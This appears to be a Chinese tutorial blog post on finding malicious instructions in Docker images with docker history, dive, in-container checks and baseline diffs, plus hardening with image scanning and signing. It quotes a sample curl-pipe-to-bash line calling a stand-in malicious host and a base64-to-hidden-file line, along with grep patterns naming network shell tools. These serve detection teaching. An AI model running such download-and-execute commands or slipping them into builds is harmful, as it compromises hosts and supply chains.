资讯动态

用docker history揪出镜像恶意指令:从分层原理到实战排查

发布时间:2026/10/18 6:01:18 来源:尧图企业网站定制
最近帮一个团队排查线上容器异常起因是某台业务服务器在凌晨莫名其妙持续向外发包CPU 被拉满。查了一圈系统日志没什么异常最后用一条docker history命令逐层拆镜像才发现问题出在镜像里有一个人在构建时往某层塞了一段带外联功能的脚本每次容器启动后都会去请求一个陌生地址拿指令。这个过程让我又一次确认了一个判断——Docker 镜像的安全问题大多数不是运行时漏洞而是从构建那一刻就带进来的。docker history这个名字平时容易被人忽略觉得它不过是看镜像构建记录的“流水账”。但真正排查过一次恶意镜像后你会明白这是所有镜像审计动作里最便宜、最直接、也最容易被篡改者疏忽的一种手段。这篇文章我想把整条排查链路完整拆开从镜像分层存储的原理到docker history每列数据的含义再到实操时如何定位可疑层、如何结合容器内取证坐实问题最后落回到构建阶段怎么从源头防住这类风险。无论你是团队里管镜像的人还是平时自己构建、拉取镜像比较多的开发者这套方法都值得收进你的安全工具箱。1. 恶意指令藏在哪先看懂镜像分层的基本规则很多人第一次看到 Docker 镜像结构时都会有个疑问为什么一个镜像要用这么多层明明看起来就是个文件系统快照。这里的关键在于 Docker 的存储驱动如 overlay2采用的“写时复制”策略——镜像由若干只读层叠加而成每个 Dockerfile 指令RUN、COPY、ADD等都会产生一个新层记录的是这一指令相对于前一层产生的文件系统差异。这意味着三件非常重要的事每一层都有迹可循只要镜像没有经过特殊处理每一层的“制造者”——也就是构建时实际执行的命令——都会被写进镜像的元数据里。分层不是干净的任何写过文件、改过配置、安装过软件包的操作都会在对应目录里留下真实痕迹。恶意脚本如果被RUN执行过它下载或创建的临时文件很可能还留在这一层里。历史越长的镜像越值得警惕一个从公共仓库拉下来的node或python基础镜像常常已经积累了几十层。而攻击者最爱利用的正是“没人会逐层翻找”这种心理。恶意指令一般会藏在哪些位置从我见过的实际案例来看最常见的几类如下藏在 RUN 命令里比如RUN curl -fsSL http://xxx/a.sh | bash或者用echo配合 base64 解码写入文件然后执行。这种从命令上就能看出问题。藏在隐蔽路径的文件里利用COPY指令把一个伪装成配置文件的脚本放进/tmp/、/var/tmp/甚至/etc/下面某个不起眼的目录然后通过启动命令来激活。藏在“正常软件行为”背后比如npm install或pip install时依赖包里混入了恶意代码。这类问题在history里通常看不到明显的可疑指令需要结合运行行为或文件扫描才能发现所以更阴险。利用 ENV/ARG 写入敏感数据有些镜像会把内部地址、密钥直接写进环境变量或 Dockerfile 参数里。虽然不算恶意指令但属于严重的信息泄露。理解这些藏匿位置后你会发现docker history的意义不只是“看命令”而是还原构建现场。一个入侵者不管怎么伪装只要他修改了镜像内容必然会留下至少一个构建层。而你只需要把层一层层剥开就能看到当年执行的命令长什么样。2. docker history 到底能看出什么核心参数与自查命令docker history的用法非常好记但很多人只用了最浅的一层直接输入docker history 镜像名。这样拿到的输出被截断得厉害很多关键信息看不到。所以先从命令参数讲起我列一份日常最常用的自查组合。# 基础用法查看镜像各层的创建时间、指令和大小 docker history nginx:latest # 完整模式显示完整指令不被 ... 截断 docker history nginx:latest --no-trunc # 自定义格式只提取你最关心的字段 docker history nginx:latest --no-trunc --format table {{.ID}}\t{{.CreatedBy}}\t{{.Size}} # 过滤可疑特征直接检索恶意指令常见关键词 docker history nginx:latest --no-trunc | grep -Ei curl|wget|base64|chmod|crontab|/dev/tcp|nc -|eval有些版本的 Docker 也支持--no-trunc与--format的组合使用但无论参数怎么变理解输出列的语义才是重点IMAGE这一层对应的镜像 ID中间层会有sha256:...。CREATED该层创建时间。虽然不绝对精准但能帮你判断构建过程中是否有“时间点异常”比如 3 年前的基础镜像竟然在最近被修改过。CREATED BY最核心的一列。记录的是生成本层时执行的原始指令。--no-trunc打开前它会用省略号隐藏后半段攻击者最爱藏在后面的恰恰是后半段命令。SIZE该层内容增减的大小。注意有些层显示0B这并不代表没做任何操作可能只是修改了文件权限或者层是空的元数据层。COMMENT注释信息一般用途不大但有时构建者会故意留注释掩盖操作。还有个容易被忽略的细节在 build 过程中执行环境变量如ENV不会跟随CREATED BY展现。也就是说有些指令可能依赖之前层级里设置的某个环境变量运行单看history是不完整的。所以真要追根溯源还得结合 Dockerfile、镜像层文件系统来综合判断这一点后面再展开。用一张常用字段对比表来收束这部分参数/对象作用使用场景--no-trunc显示完整指令内容排查默认截断隐藏的可疑命令--format自定义输出字段批量提取、自动化审计docker inspect查看镜像完整元数据补充确认 Entrypoint、Env、端口等dive镜像分析工具逐层查看文件系统差异定位新增/变更文件辅助取证实际排查时我的建议是先跑一条完整的 history再跑一条过滤版。完整的拿来看全局判断层数分布有没有不合理的地方过滤版帮你快速定位高频恶意指令特征。两条命令不冲突反而是逐步缩小范围的有效方式。3. 一步步揪出恶意指令从 history 到容器内取证光知道命令还不够整个排查过程得有自己的节奏。下面我把一套完整、可复用的实操流程写出来按这个顺序走基本不会漏。3.1 第一步拉取镜像并提取完整构建历史先确认你排查的目标镜像已经拉取到本地docker pull your-registry/app-image:v1.0 docker history your-registry/app-image:v1.0 --no-trunc --format table {{.ID}}\t{{.CreatedBy}}\t{{.Size}}\t{{.CreatedAt}}输出里如果看到类似这样的片段就要拉响警报了sha256:abc... /bin/sh -c curl -fsSL http://malicious.example/x.sh | bash 20MB 2023-... sha256:def... /bin/sh -c echo d2dldCBodHRwOi8v... | base64 -d /tmp/.update 0B 2023-...第一条是典型的下载即执行第二条是 base64 解码后写入隐藏文件。两条加在一起基本可以断定镜像里存在恶意指令。不过光凭命令特征还不够因为某些合法软件安装也会用到curl和chmod。所以下一步要针对可疑层做文件系统比对。3.2 第二步用 dive 逐层查看文件变更dive是一个开源的镜像层分析工具你可以把它理解成“带时间轴的镜像文件浏览器”。安装方式简单macOS 或 Linux 上都能直接跑dive your-registry/app-image:v1.0打开后会看到左右两个窗口左侧渲染的是这一层相对于前一层的文件变化。右侧是当前层的完整文件系统状态。操作上主要是两件事切换层、标记可疑路径。按回车可以展开某层按Ctrl空格可以折叠或展开文件树按Tab在左右面板之间切换。排查时重点看这几个目录/tmp、/var/tmp恶意脚本高发地文件往往被伪装成.log、.cache或隐藏文件名。/etc/cron.d、/etc/cron.hourly检查是否有定时任务写入。/etc/init.d、/etc/systemd/system启动级持久化后门入口。/root/.bashrc、/etc/profile登录启动型后门。/opt、/usr/local/bin容易出现以“正常名”命名的二进制脚本。其中有一个经验很值得分享**恶意脚本为了保持隐蔽往往不会把文件权限设成 777而是尽量贴近正常文件比如 755 或 644。**所以排查时别只看权限还要结合创建时间和内容特征。每层创建时间如果和该层内文件的modify time明显不一致这本身就是一个矛盾点值得深挖。3.3 第三步进入容器实锤验证history和dive找的是“可疑”真正要下结论还得看“实锤”。启动一个临时容器直接检查那些可疑路径docker run --rm -it your-registry/app-image:v1.0 /bin/sh # 容器内依次检查 ls -la /tmp /var/tmp crontab -l cat /etc/cron.d/* ls -la /root/.bashrc /etc/profile ps aux | grep -E curl|wget|nc|/tmp cat /etc/hosts # 看 DNS 是否被改 env # 看环境变量里是否泄露敏感信息一个在history中被标注为RUN echo xxx | base64 -d /tmp/.update的层进入容器后如果/tmp/.update还在直接打开看内容就能完全定性。还有一种情况脚本在容器启动时会被删除或自毁比如base64 -d | bash从管道执行那/tmp下可能什么也找不到。这时候就得看运行时监测了也就是容器起来后实时观察它的网络连接和进程。docker run -d your-registry/app-image:v1.0 docker exec -it 容器ID sh cat /proc/1/cwd netstat -anp 2/dev/null | grep ESTABLISHED看到容器主动连接了外部陌生 IP其实锤子已经落下了一半。剩下的就是配合网络侧的数据去确认连接目标是不是已知恶意节点。3.4 第四步对比基线镜像精准捕捉“多出来”的那层排查自建镜像时有一个我自己很常用的技巧找一个安全基线镜像做差异对比。比如你怀疑团队里某个业务镜像被改动过那就从同一公共仓库拉一份同版本号的基础镜像放一起跑docker historydocker history your-registry/legacy-base:v1.0 --no-trunc --format table {{.ID}}\t{{.CreatedBy}}\t{{.Size}} base.txt docker history your-registry/suspect-image:v1.0 --no-trunc --format table {{.ID}}\t{{.CreatedBy}}\t{{.Size}} suspect.txt diff base.txt suspect.txt正常情况下业务镜像只是多出构建自己业务的那几层。如果发现基础镜像区域出现了原本不存在的层级或者时间戳发生了不应该的变化说明镜像在构建或传输过程中被动过手。这种 diff 方法特别适合排查“明明是同一个标签名却多出几个可疑层”的场景。4. 防患于未然构建与供应链侧的安全加固排查只能处理已经发生的问题真正让history变得“无料可查”或者查出来全是干净的还是要从镜像构建和供应链的源头动手。这一节讲几件非常实用的事每一件都能直接落地。4.1 用可信基础镜像锁版本而不是用 latest公共仓库里很多镜像只标了一个latest标签本质上是个移动靶——你今年拉的和明年拉的内容可能完全不同。这种不确定性本身就是风险。规范做法是优先使用带完整版本号和摘要digest的镜像例如node:20.11.1-alpinesha256:3d36...。基础镜像保留在私有仓库里避免每次构建都去外部拉取。定期对仓库内的镜像做扫描常见工具是trivy和grype它们能自动识别漏洞和已知恶意软件特征。# 用 trivy 做一次快速镜像漏洞扫描 trivy image --severity HIGH,CRITICAL your-registry/app-image:v1.0 # 用 grype 做依赖与软件特征扫描 grype your-registry/app-image:v1.0扫描出来的结果不一定全是安全问题但至少能提示你哪些依赖版本已经公开漏洞哪些组件可能被植入恶意代码。4.2 构建期敏感信息要隔离别写进任何一层很多人构建镜像时图省事直接ARG 密码xxx或者把私钥COPY进去结果这个信息永远留在了镜像层里。哪怕后面RUN rm 私钥文件那一个层已经保存了删除前的文件状态任何能拿到镜像的人都可以用解包工具翻出来。正确的做法有两类一类是构建期用RUN --mounttypesecret临时挂载敏感文件用完即走不落地到层里另一类是把密码、密钥全部交给运行时环境变量或密钥管理系统镜像本身不含任何敏感信息。一个示例片段# 不推荐 ARG DB_PASSWORD123456 RUN echo $DB_PASSWORD /app/db.conf # 推荐临时挂载密钥不进镜像层 RUN --mounttypesecret,iddb_password \ cat /run/secrets/db_password /app/db.conf ...从镜像审计的角度看一个看起来“透明”的构建过程不该出现“看不到来源却写入了文件”的层。每次构建记录都能对上号从源头上就让恶意指令无处遁形。4.3 引入签名与完整性校验让篡改变得艰难镜像签名的概念在供应链安全中越来越重要。目前比较主流的两套方案是cosign来自开源社区和Notation云原生技术栈常见。它们的思路一致构建完成后用私钥给镜像产物签名拉起镜像时用公钥验证签名是否有效。# 签名示例cosign cosign sign --key cosign.key your-registry/app-image:v1.0 # 部署侧校验 cosign verify --key cosign.pub your-registry/app-image:v1.0一旦启用了签名校验攻击者在中间环节替换镜像的动作就会被阻断。即便他通过某种手段拿到了镜像内容并重新打包只要他没有私钥就无法通过校验。这就给history审计又加了一层保险能通过签名校验的镜像基本默认其构建记录也未被篡改过。5. 常见坑与排查技巧实录这部分不是看文档能学来的基本都是从真实事故现场总结出来的经验。我按“问题、原因、解决办法”的方式整理成速查表方便你真遇到时快速对照。异常现象可能原因处理办法docker history输出被...截断默认开启截断显示加--no-trunc重新输出所有层显示同一时间镜像曾被整体解包重打包结合签名校验和层摘要检查完整性CREATED BY只有buildkit一行构建时启用了 BuildKit 多阶段缓存用docker history --no-trunc看中间层或结合镜像层文件系统排查镜像层已经squash合并构建方手动/自动压层放弃逐层排查改用容器内文件扫描与运行时监测history里全是正常命令但容器异常恶意代码藏在“合法命令”内部如依赖包投毒做文件系统时间线分析、依赖源审计、网络行为检测某层 SIZE 显示 0B但文件被改了只修改了文件权限或元数据用dive深入层内看文件内容变化不要只凭层大小下结论拉回的镜像与之前记录不一致被中间人替换或镜像仓库被入侵回退到可信网络重新拉取做 digest 比对立即排查仓库权限时间为最近但内容看起来像旧版本多层构建产生的外层覆盖对比镜像 digest 和分层顺序确认时间异常出现在哪个层下面还有几个偏“单点体会”、不好放进表格的细节单独拿出来说第一不要只搜索rm -rf这类肉眼即可识别的恶意命令。现在我排查时重点搜的反而是eval、$(...)、{{、${IFS}这类能“绕开字符串特征检测”的构造。真正精细的攻击者早就知道安全扫描器会查“高危命令”所以他们更倾向用看似正常的工具组合比如openssl配合base64再配合/dev/tcp。第二警惕那些“只出现一条 RUN 却能装完整个环境”的层。正常构建通常会拆分成安装依赖、复制代码、编译、清理等好几层。如果某个镜像只有一句极长的RUN apt-get install ... curl ... chmod ... ./xxx把它拆开看看那些被串联起来的小命令里有没有夹带私货。有些攻击者会用把恶意命令混在看似合理的长串里不加--no-trunc根本看不到后半段。第三注意“构建后删除痕迹”这种手法。比较狡猾的操作是先执行恶意行为构建结束时用rm -rf /tmp/log /root/.bash_history一类命令把现场擦掉。从history看会有正常的删除层从最终文件系统也很难发现异常。但层的空间占用会露出马脚——如果删除前下载过几十 MB 的二进制删除后的层虽然最终大小为 0中间层依然记录着那次下载带来的文件占用。用dive从中间层翻文件往往还能翻出残留的缓存或下载文件。个人的体会是docker history不是万能的但它是一件值得放在“镜像引进来之前”就做的例行检查。安全审计这件事最怕不是工具不够先进而是没有形成习惯。之前帮过的团队里有过一次非常典型的案例他们一直从某个第三方仓库拉同一款自动化构建镜像直到某天有人手滑多跑了条history才发现最新版镜像里多了一层执行外部下载脚本的记录。那层出现的时间正好和仓库作者账号被盗的时间对上。如果你不想每次手动敲命令可以把它固化成一个简单的别名或脚本比如# ~/.bashrc 或 ~/.zshrc alias docker-security-auditdocker history --no-trunc --format table {{.ID}}\t{{.CreatedBy}}\t{{.Size}} $1 | grep -Ei curl|wget|base64|chmod|crontab|/dev/tcp || echo 暂无高风险特征; docker inspect --formatEntrypoint{{.Config.Entrypoint}} Env{{.Config.Env}} Ports{{.Config.ExposedPorts}} $1这样每次拉完新镜像直接docker-security-audit 镜像名几秒钟就能完成一版基础体检。镜像安全没有一步到位的银弹但把history这一环用起来至少能让你躲开绝大多数“人为埋雷”式的低级风险。后面如果有条件再叠加运行时监测和签名校验防线就会明显成型。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑